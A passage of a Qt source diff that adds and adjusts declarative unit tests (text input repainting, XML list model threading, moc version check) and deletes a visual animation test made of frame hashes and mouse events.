QDeclarativeTextInput(parent) + { + nbPaint = 0; + } + void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget) + { + nbPaint++; + QDeclarativeTextInput::paint(painter, option, widget); + } + int nbPaint; +}; + +void tst_qdeclarativetextinput::setHAlignClearCache() +{ + QGraphicsScene scene; + QGraphicsView view(&scene); + MyTextInput input; + input.setText("Hello world"); + scene.addItem(&input); + view.show(); + QApplication::setActiveWindow(&view); + QTest::qWaitForWindowShown(&view); + QCOMPARE(input.nbPaint, 1); + input.setHAlign(QDeclarativeTextInput::AlignRight); + QApplication::processEvents(); + //Changing the alignment should trigger a repaint + QCOMPARE(input.nbPaint, 2); +} + QTEST_MAIN(tst_qdeclarativetextinput) #include "tst_qdeclarativetextinput.moc" diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp index 0e5e1b0..81cc922 100644 --- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp @@ -74,6 +74,8 @@ private slots: void useKeys_data(); void noKeysValueChanges(); void keysChanged(); + void threading(); + void threading_data(); void propertyChanges(); private: @@ -86,6 +88,8 @@ private: if (!data.isEmpty()) { QStringList items = data.split(";"); foreach(const QString &item, items) { + if (item.isEmpty()) + continue; QVariantList variants; xml += QLatin1String("<item>"); QStringList fields = item.split(","); @@ -505,6 +509,63 @@ void tst_qdeclarativexmllistmodel::keysChanged() delete model; } +void tst_qdeclarativexmllistmodel::threading() +{ + QFETCH(int, xmlDataCount); + + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml")); + + QDeclarativeXmlListModel *m1 = qobject_cast<QDeclarativeXmlListModel*>(component.create()); + QVERIFY(m1 != 0); + QDeclarativeXmlListModel *m2 = qobject_cast<QDeclarativeXmlListModel*>(component.create()); + QVERIFY(m2 != 0); + QDeclarativeXmlListModel *m3 = qobject_cast<QDeclarativeXmlListModel*>(component.create()); + QVERIFY(m3 != 0); + + for (int dataCount=0; dataCount<xmlDataCount; dataCount++) { + + QString data1, data2, data3; + for (int i=0; i<dataCount; i++) { + data1 += "name=A" + QString::number(i) + ",age=1" + QString::number(i) + ",sport=Football;"; + data2 += "name=B" + QString::number(i) + ",age=2" + QString::number(i) + ",sport=Athletics;"; + data3 += "name=C" + QString::number(i) + ",age=3" + QString::number(i) + ",sport=Curling;"; + } + + m1->setXml(makeItemXmlAndData(data1)); + m2->setXml(makeItemXmlAndData(data2)); + m3->setXml(makeItemXmlAndData(data3)); + + QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount); + + for (int i=0; i<dataCount; i++) { + QCOMPARE(m1->data(i, m1->roles()[0]).toString(), QString("A" + QString::number(i))); + QCOMPARE(m1->data(i, m1->roles()[1]).toString(), QString("1" + QString::number(i))); + QCOMPARE(m1->data(i, m1->roles()[2]).toString(), QString("Football")); + + QCOMPARE(m2->data(i, m2->roles()[0]).toString(), QString("B" + QString::number(i))); + QCOMPARE(m2->data(i, m2->roles()[1]).toString(), QString("2" + QString::number(i))); + QCOMPARE(m2->data(i, m2->roles()[2]).toString(), QString("Athletics")); + + QCOMPARE(m3->data(i, m3->roles()[0]).toString(), QString("C" + QString::number(i))); + QCOMPARE(m3->data(i, m3->roles()[1]).toString(), QString("3" + QString::number(i))); + QCOMPARE(m3->data(i, m3->roles()[2]).toString(), QString("Curling")); + } + } + + delete m1; + delete m2; + delete m3; +} + +void tst_qdeclarativexmllistmodel::threading_data() +{ + QTest::addColumn<int>("xmlDataCount"); + + QTest::newRow("1") << 1; + QTest::newRow("2") << 2; + QTest::newRow("10") << 10; +} + void tst_qdeclarativexmllistmodel::propertyChanges() { QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); @@ -554,6 +615,8 @@ void tst_qdeclarativexmllistmodel::propertyChanges() QCOMPARE(model->query(), QString("/Pets")); QCOMPARE(model->namespaceDeclarations(), QString("declare namespace media=\"http://search.yahoo.com/mrss/\";")); + QTRY_VERIFY(model->count() == 1); + QCOMPARE(sourceSpy.count(),1); QCOMPARE(xmlSpy.count(),1); QCOMPARE(modelQuerySpy.count(),1); @@ -568,6 +631,9 @@ void tst_qdeclarativexmllistmodel::propertyChanges() QCOMPARE(xmlSpy.count(),1); QCOMPARE(modelQuerySpy.count(),1); QCOMPARE(namespaceDeclarationsSpy.count(),1); + + QTRY_VERIFY(model->count() == 1); + delete model; } QTEST_MAIN(tst_qdeclarativexmllistmodel) diff --git a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp index c1dc924..8ba9d45 100644 --- a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp +++ b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp @@ -139,10 +139,10 @@ void tst_QMetaObjectBuilder::mocVersionCheck() // It is intended as a reminder to also update QMetaObjectBuilder // whenenver moc changes. Once QMetaObjectBuilder has been // updated, this test can be changed to check for the next version. - QEXPECT_FAIL("", "QT-2918", Continue); - QCOMPARE(int(QObject::staticMetaObject.d.data[0]), 4); - QEXPECT_FAIL("", "QT-2918", Continue); - QCOMPARE(int(staticMetaObject.d.data[0]), 4); + int version = int(QObject::staticMetaObject.d.data[0]); + QVERIFY(version == 4 || version == 5); + version = int(staticMetaObject.d.data[0]); + QVERIFY(version == 4 || version == 5); } void tst_QMetaObjectBuilder::create() diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png Binary files differdeleted file mode 100644 index a0032f8..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.0.png +++ /dev/null diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png Binary files differdeleted file mode 100644 index 958b6af..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.1.png +++ /dev/null diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png Binary files differdeleted file mode 100644 index 3a1811f..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.2.png +++ /dev/null diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png Binary files differdeleted file mode 100644 index 36064c2..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.3.png +++ /dev/null diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png Binary files differdeleted file mode 100644 index c493a1d..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.4.png +++ /dev/null diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png Binary files differdeleted file mode 100644 index c493a1d..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.5.png +++ /dev/null diff --git a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml b/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml deleted file mode 100644 index de27af7..0000000 --- a/tests/auto/declarative/visual/animation/parentAction/data/parentAction.qml +++ /dev/null @@ -1,1207 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 32 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 48 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 64 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 80 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 96 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 112 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 128 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 144 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 160 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 176 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 192 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 208 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 224 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 240 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 256 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 272 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 288 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 304 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 320 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 336 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 352 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 368 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 384 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 400 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 416 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 432 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 448 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 464 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 480 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 496 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 512 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 528 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 544 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 560 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 576 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 150; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 592 - hash: "23ce049cd7e715c28f5845fd1a1fc195" - } - Frame { - msec: 608 - hash: "a7bb3d44c8bcf403906afa86f5bc3062" - } - Frame { - msec: 624 - hash: "2b366e6009e70fa0227a1fee662fe1bf" - } - Frame { - msec: 640 - hash: "c12869fb8002aa36c3bfad7fd0979240" - } - Frame { - msec: 656 - hash: "56c583e77b5e0a8707e977dc937c2acf" - } - Frame { - msec: 672 - hash: "6b191d57a45a3f2d010a7f44064e409a" - } - Frame { - msec: 688 - hash: "9457ee33c999a63fa4bd4db5c3ceac8b" - } - Frame { - msec: 704 - hash: "446b23b662640ad6ad8c456f956fe73a" - } - Frame { - msec: 720 - hash: "23c59708069406486e4979c7d59f3f4a" - } - Frame { - msec: 736 - hash: "c9ce43ddca79b5b6f26af2c2259dc071" - } - Frame { - msec: 752 - hash: "e838229ba70c30112918f19bb471fa34" - } - Frame { - msec: 768 - hash: "0cbaeddb2ff6408a37a68fc685e2bca0" - } - Frame { - msec: 784 - hash: "616b4ec719586b151ba3d709e51038bf" - } - Frame { - msec: 800 - hash: "89b2c709f5c3083c204a9450e605c1d4" - } - Frame { - msec: 816 - hash: "427a5c2d13631d899ff2d673e762f114" - } - Frame { - msec: 832 - hash: "958aa9ca5a6b91aa6dfbc2a1ae3e2deb" - } - Frame { - msec: 848 - hash: "09a3ac0010ed8f3df2cfa7ed9d0a92e4" - } - Frame { - msec: 864 - hash: "5607ea54f9990f3232d6f56080e1ef15" - } - Frame { - msec: 880 - hash: "600682467c55288b9d5e65299637dd72" - } - Frame { - msec: 896 - hash: "bc7a238611574a13650f854ceac35032" - } - Frame { - msec: 912 - hash: "e5f6b19b3685a96d4d0c3b8384513643" - } - Frame { - msec: 928 - hash: "d5d23b0fc09136fd1ae121e311866cc3" - } - Frame { - msec: 944 - hash: "5099e5edd1a6bd37f5f6c836a6ca7644" - } - Frame { - msec: 960 - image: "parentAction.0.png" - } - Frame { - msec: 976 - hash: "97dd20f7774cfd8379e1d1b44f8ddc7b" - } - Frame { - msec: 992 - hash: "ab2deea9e4f8c43ed58b5a355800ecda" - } - Frame { - msec: 1008 - hash: "88ec383ce368259d3cc18612b6f5b941" - } - Frame { - msec: 1024 - hash: "f84b20b849a77e50717f99b9d844240e" - } - Frame { - msec: 1040 - hash: "6c042360c2d24ad56cec32d01ce82d6b" - } - Frame { - msec: 1056 - hash: "c86b464720192f3e039fa5d8ab5f09bb" - } - Frame { - msec: 1072 - hash: "35ec432fdf91fcd1dfcd945cfe785b09" - } - Frame { - msec: 1088 - hash: "27a2ec28e4fef006622e8211fd709853" - } - Frame { - msec: 1104 - hash: "8454d1f5ed89551e2a403c869885116a" - } - Frame { - msec: 1120 - hash: "7e33aed53dc4338c168274d972c8e711" - } - Frame { - msec: 1136 - hash: "e0192ea2049d6bae6012f00406630a92" - } - Frame { - msec: 1152 - hash: "a2ea5489a373084169024035a0f69e71" - } - Frame { - msec: 1168 - hash: "6947a72c4d959b90dafdaddcac815b3e" - } - Frame { - msec: 1184 - hash: "0e22cc3c96d0934095b7254f0f28b18b" - } - Frame { - msec: 1200 - hash: "72529ddc6f2678a783aedf445d7038a4" - } - Frame { - msec: 1216 - hash: "38f03c0ee50488ffd23a2fb3d3445461" - } - Frame { - msec: 1232 - hash: "b441721ed30c787874a2a71a94e1ba44" - } - Frame { - msec: 1248 - hash: "1e37f26d78590414b2ef01c72ad136a9" - } - Frame { - msec: 1264 - hash: "88e4af80d068485ebd8c3d51f9bbfe8d" - } - Frame { - msec: 1280 - hash: "107707216c16c629d8409cf006f9f2dc" - } - Frame { - msec: 1296 - hash: "f56f3f4f140ac072f7df47eddfc76844" - } - Frame { - msec: 1312 - hash: "41239a9d8ed793c24967875aabeae8a5" - } - Frame { - msec: 1328 - hash: "30035e37320dae4f9ead01a30895eb38" - } - Frame { - msec: 1344 - hash: "fb2f535b42b862b65f8adb3ad1a46779" - } - Frame { - msec: 1360 - hash: "e10ba7f74d52fc963e20a4647ff0d620" - } - Frame { - msec: 1376 - hash: "5abf5388566bed2fdb71afc8cd7cfe9b" - } - Frame { - msec: 1392 - hash: "91990471563e3c8292e8e8325a1d17a2" - } - Frame { - msec: 1408 - hash: "59a6293a48f83a9197adcffed3f32f15" - } - Frame { - msec: 1424 - hash: "db3e75df318e9f0d239ce9b76e92eff3" - } - Frame { - msec: 1440 - hash: "3b5c64bc64a701edb5c2e40b23443bc3" - } - Frame { - msec: 1456 - hash: "9db08c0375148b2317427591b5f43608" - } - Frame { - msec: 1472 - hash: "2d761f1530846eff87a7625a120e0afd" - } - Frame { - msec: 1488 - hash: "c5460f8c58b83c2ac15842ddb023ad4f" - } - Frame { - msec: 1504 - hash: "0efb51810a2dc359c7964268c98ea8eb" - } - Frame { - msec: 1520 - hash: "b92a42012df57eb261badf1f518b8e67" - } - Frame { - msec: 1536 - hash: "8d348bae62af2d35bdfee806a1c39910" - } - Frame { - msec: 1552 - hash: "762d9bb4ed11d249bfd902a541129d60" - } - Frame { - msec: 1568 - hash: "bddbd9f64a9f7156984feccd5fa94093" - } - Frame { - msec: 1584 - hash: "353a98e1573b0518941ff22bf2776244" - } - Frame { - msec: 1600 - hash: "1765aed97e29f25dee93a77a06557b82" - } - Frame { - msec: 1616 - hash: "73b5c2bdb7f268f7a33e129c8ba44013" - } - Frame { - msec: 1632 - hash: "46ac1976fb9932d0ef6e0b5927386ad9" - } - Frame { - msec: 1648 - hash: "90b5b5b46c9c352e8be41cc74f96133a" - } - Frame { - msec: 1664 - hash: "0efe0036577c890fd45cd7dd53014616" - } - Frame { - msec: 1680 - hash: "7f32df17481abf40ccb33afe6d17085d" - } - Frame { - msec: 1696 - hash: "1fa8544c48a476764f4f8278c14b651d" - } - Frame { - msec: 1712 - hash: "f8f06ece30f690deeba5999ce63bf40b" - } - Frame { - msec: 1728 - hash: "885b230f4b2fe380c7cf68955940d206" - } - Frame { - msec: 1744 - hash: "d0fc5aa4df46099bb46a1d7db30baa09" - } - Frame { - msec: 1760 - hash: "8fa7fe5197cbe1ff67f8a2c47f1f0740" - } - Frame { - msec: 1776 - hash: "aa3b3b03460daf54f085551e1a46c08b" - } - Frame { - msec: 1792 - hash: "35a1728a2430027a9474fb7d61090643" - } - Frame { - msec: 1808 - hash: "2b1cff3986b8b03f1061176a4722b0f9" - } - Frame { - msec: 1824 - hash: "8047be1b35ee3d5078a68c6cdc35eeb7" - } - Frame { - msec: 1840 - hash: "7f7afa48bb7d612b354c8488e72c8339" - } - Frame { - msec: 1856 - hash: "691a876caefce9aa0f5140c17059b8f4" - } - Frame { - msec: 1872 - hash: "903bec66e47db766dc431f060726988c" - } - Frame { - msec: 1888 - hash: "f13593fc891f0b050c01b61963019da1" - } - Frame { - msec: 1904 - hash: "aa00de965bdb370a5974b195c3fb38af" - } - Frame { - msec: 1920 - image: "parentAction.1.png" - } - Frame { - msec: 1936 - hash: "168d3e27261c0943e6262b6be27adfb0" - } - Frame { - msec: 1952 - hash: "6fafebd0b396e7c0a78c767c6af936ba" - } - Frame { - msec: 1968 - hash: "827e3a3fcd6fd8588e9fcc043769b3a8" - } - Frame { - msec: 1984 - hash: "155329bf1c1a6f6c37bf7e6e8a92c59b" - } - Frame { - msec: 2000 - hash: "d3008d1e7cee5170171699ef6fb9aa81" - } - Frame { - msec: 2016 - hash: "5c1244e7806e131a6063f22a66e4eb12" - } - Frame { - msec: 2032 - hash: "fcd6b372229a6cf14face81e9d614456" - } - Frame { - msec: 2048 - hash: "bf1a375a81bf43c5671cccc62e9a0462" - } - Frame { - msec: 2064 - hash: "0e22404508470baaa6621f37361951fa" - } - Frame { - msec: 2080 - hash: "45046f28c103caa161e41861f71731c4" - } - Frame { - msec: 2096 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2112 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2128 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2144 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2160 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2176 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2192 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2208 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2224 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2240 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2256 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2272 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2288 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2304 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2320 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2336 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2352 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2368 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2384 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2400 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2416 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2432 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2448 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2464 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2480 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2496 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2512 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2528 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2544 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2560 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2576 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2592 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2608 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2624 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2640 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2656 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2672 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2688 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2704 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2720 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2736 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2752 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 150; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "7a92731c713470a2b2c91fd6b83447de" - } - Frame { - msec: 2784 - hash: "44a0b46c21bd4c76d44883ba146e3614" - } - Frame { - msec: 2800 - hash: "2224abc3333a2bc5fa1cf3c4e8d6a6f9" - } - Frame { - msec: 2816 - hash: "ea9c05c0295a300e21aacbdfd5b4968e" - } - Frame { - msec: 2832 - hash: "e630e2893f89a6ae536bcbd1a084af07" - } - Frame { - msec: 2848 - hash: "af56f1e79eb3746efb9e4bcbc3fbced8" - } - Frame { - msec: 2864 - hash: "96be8c3ba0d7a85c6f6df877b869b563" - } - Frame { - msec: 2880 - image: "parentAction.2.png" - } - Frame { - msec: 2896 - hash: "603d8684cb6f097e3ab2a2e5ef053112" - } - Frame { - msec: 2912 - hash: "0433d242d1dd40a3792f55f807ebbff4" - } - Frame { - msec: 2928 - hash: "1190067cacc7361f6cfe09f153c7a07e" - } - Frame { - msec: 2944 - hash: "98e917880471511122847ad8a406e3a3" - } - Frame { - msec: 2960 - hash: "fff06869074a3a6c5823ed3fb6fa7a43" - } - Frame { - msec: 2976 - hash: "602d95daee8f160a0fd784931d0a06bd" - } - Frame { - msec: 2992 - hash: "f7e466bbd52f40e88ff567758f4db835" - } - Frame { - msec: 3008 - hash: "54417a4c4fb71d458439ad2e2126f8e1" - } - Frame { - msec: 3024 - hash: "fe150dd5056b9dbf1cd0b196e9a7a47b" - } - Frame { - msec: 3040 - hash: "1384c871bead85916f7bfcdebc370697" - } - Frame { - msec: 3056 - hash: "5f13339cc0e604b75a9d1d85342fa717" - } - Frame { - msec: 3072 - hash: "655069d61b7a44e729a2cbb33d683c3e" - } - Frame { - msec: 3088 - hash: "2324e9e4a02e41855b066983dbf0e61d" - } - Frame { - msec: 3104 - hash: "0217baf091325b95c033ba073bd68ce5" - } - Frame { - msec: 3120 - hash: "c27854c3af5b58db85846a1762ab18ba" - } - Frame { - msec: 3136 - hash: "45246ee6383ceb6260f84571a885ba90" - } - Frame { - msec: 3152 - hash: "d82ded86f093d1a376994cacf43d0343" - } - Frame { - msec: 3168 - hash: "c9179d30f80c6101bca2bed40d6a859f" - } - Frame { - msec: 3184 - hash: "a63e032d20a9d985c6c345434d98a364" - } - Frame { - msec: 3200 - hash: "fc7d6797ce15edf7fadb9dae691ecd5c" - } - Frame { - msec: 3216 - hash: "76cf37ad8c50fed8b1900784b647819c" - } - Frame { - msec: 3232 - hash: "256aab3690c9ba928bb4d4dd3bbfc756" - } - Frame { - msec: 3248 - hash: "90cab52fdefbae4e7d0f0f93b46ebeb0" - } - Frame { - msec: 3264 - hash: "badb5103bf826dc467f6e620cc2b47be" - } - Frame { - msec: 3280 - hash: "e7d0e437de5ebc0fa07b2a4ef11159cb" - } - Frame { - msec: 3296 - hash: "5931b1c3932ab91446324165d7e2603a" - } - Frame { - msec: 3312 - hash: "ce1808db90ba955ab3cb845500f4c013" - } - Frame { - msec: 3328 - hash: "142f8a440d1fe2d868f47ba3006de9d7" - } - Frame { - msec: 3344 - hash: "10d32a6cc90319ea66d7f2c1241590ce" - } - Frame { - msec: 3360 - hash: "7f633559d715396e6de451b3dd2fadbd" - } - Frame { - msec: 3376 - hash: "d44590ae51ceef5e082747c44bc41be9" - } - Frame { - msec: 3392 - hash: "2b498181668fb1fbf65294d575654929" - } - Frame { - msec: 3408 - hash: "7efeeffd08e4de440da83511313de729" - } - Frame { - msec: 3424 - hash: "8de2331393d1e712192d11ed096836d3" - } - Frame { - msec: 3440 - hash: "fa9381ef2e295865a9b8cb9b36a0eacf" - } - Frame { - msec: 3456 - hash: "97debc4432c5ecb7f606a81e5411b02c" - } - Frame { - msec: 3472 - hash: "eb4c1bb1f4398e3c18182c28a015be76" - } - Frame { - msec: 3488 - hash: "a976aa509f4c6f309d9a6011eeae02aa" - } - Frame { - msec: 3504 - hash: "457de7ee05e0ef0ef120a3d4e371c02e" - } - Frame { - msec: 3520 - hash: "0c01f9f150fe33155fa20703735a6d27" - } - Frame { - msec: 3536 - hash: "5af4f80624082a264010247ea8630a1a" - } - Frame { - msec: 3552 - hash: "b23a1191d149549fa29a61b6dc70f037" - } - Frame { - msec: 3568 - hash: "e00fb32cb13b1347e4b7b9fdbcca68e5" - } - Frame { - msec: 3584 - hash: "fef0503c82f253f8bc3fb3e705a98aa7" - } - Frame { - msec: 3600 - hash: "7a9beca28340d2aa89da5e05f5ac2a55" - } - Frame { - msec: 3616 - hash: "f3c57ea07ab486ffa1f46da60de0b8f1" - } - Frame { - msec: 3632 - hash: "ef0a4ad9ac339fd6ea50dbe6baa9387f" - } - Frame { - msec: 3648 - hash: "1b317a9eb4ce022f005d551546c688a4" - } - Frame { - msec: 3664 - hash: "628e912a4a26800b9b7b5e60e60e3a7d" - } - Frame { - msec: 3680 - hash: "3587b75e4d834a88729754d2c2a4b193" - } - Frame { - msec: 3696 - hash: "084bc1360a38123589baec5aae15b4ff" - } - Frame { - msec: 3712 - hash: "47f0f6c3cdf456826a6fd6846e58dcc8" - } - Frame { - msec: 3728 - hash: "ed982c4c3ebd132baaaf43efad40a3f7" - } - Frame { - msec: 3744 - hash: "d7ddce47c23fada4c69d53d934582d71" - } - Frame { - msec: 3760 - hash: "74f2f911bee26c4c551f4c70596753ae" - } - Frame { - msec: 3776 - hash: "3ed7cbf10dfce3a485d7878766cf9da6" - } - Frame { - msec: 3792 - hash: "87a74257551ab6c7fcfe05e815482ae9" - } - Frame { - msec: 3808 - hash: "4f63e4904e97d4ce832b20b7317a9958" - } - Frame { - msec: 3824 - hash: "f912da8781e547c6e28890655c1b8884" - } - Frame { - msec: 3840 - image: "parentAction.3.png" - } - Frame { - msec: 3856 - hash: "faa640ccf993324400254ffb862ac279" - } - Frame { - msec: 3872 - hash: "b67f342424d1b9a364b09da8994fcd6b" - } - Frame { - msec: 3888 - hash: "b2407732194c1e0c2a9bfb379b94b562" - } - Frame { - msec: 3904 - hash: "55733608d0302ef90c124322ac6d8dc6" - } - Frame { - msec: 3920 - hash: "734f5b628a26d3d7c91ee84fb26d5b5f" - } - Frame { - msec: 3936 - hash: "27839fefa4a218cd77843358392bb874" - } - Frame { - msec: 3952 - hash: "8cac19559d37bd2b581cef0a4c707753" - } - Frame { - msec: 3968 - hash: "91422870aa1471571e7dd8ff5103f76c" - } - Frame { - msec: 3984 - hash: "7156166d5f8d13483467ef515627c95d" - } - Frame { - msec: 4000 - hash: "6028e8374c2ce42a9a9e85b4a8b53027" - } - Frame { - msec: 4016 - hash: "17c99592be58d2e03f9f173c47c0649b" - } - Frame { - msec: 4032 - hash: "6084b53186c6a7eda38ac7fa34bf45ce" - } - Frame { - msec: 4048 - hash: "e82131a8a5a06519f49308bbc25738cf" - } - Frame { - msec: 4064 - hash: "77bdb69cbe55d9c503c6aa1c0f974d87" - } - Frame { - msec: 4080 - hash: "b2346ec5d376651347281d5fb00fc4d7" - } - Frame { - msec: 4096 - hash: "36a3b72c9d7f09795c546855a269801d" - } - Frame { - msec: 4112 - hash: "4e5478b33baca797f3f8f72c2c6c51ad" - } - Frame { - msec: 4128 - hash: "e59d12be3ed1f58de010d385ddfe78e5" - } - Frame { - msec: 4144 - hash: "9674106a146effd47c2724a2dd82ae84" - } - Frame { - msec: 4160 - hash: "862cec781f169f713032e6d52d3616ce" - } - Frame { - msec: 4176 - hash: "c8d47bdfb6518ef4827677023313d559" - } - Frame { - msec: 4192 - hash: "19413931b3e788067dfaef39b47d30ff" - } - Frame { - msec: 4208 - hash: "600e426532c0348cd622257b0773efd5" - } - Frame { - msec: 4224 - hash: "6d975e259d4efa108375d271451531c1" - } - Frame { - 